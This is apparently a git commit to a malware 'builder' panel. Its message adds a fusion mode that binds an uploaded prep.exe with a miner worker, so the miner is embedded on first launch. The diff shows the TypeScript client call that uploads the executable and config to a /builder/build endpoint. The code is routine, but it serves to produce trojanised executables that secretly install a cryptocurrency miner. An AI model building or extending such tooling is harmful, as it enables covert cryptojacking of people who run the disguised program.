Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
drjones
2026-05-27 00:28:32 -07:00
parent ea519e9a9f
commit 6db9a33a20
9 changed files with 411 additions and 34 deletions

View File

@@ -40,11 +40,27 @@ export const api = {
}),
// Builder
buildAgent: (req: BuildRequest) =>
fetchJSON<BuildResponse>('/builder/build', {
buildAgent: (req: BuildRequest, prepFile?: File | null) => {
if (req.fusion_enabled) {
if (!prepFile) {
return Promise.reject(new Error('Fusion requires prep.exe upload'));
}
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<BuildResponse>;
});
}
return fetchJSON<BuildResponse>('/builder/build', {
method: 'POST',
body: JSON.stringify(req),
}),
});
},
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,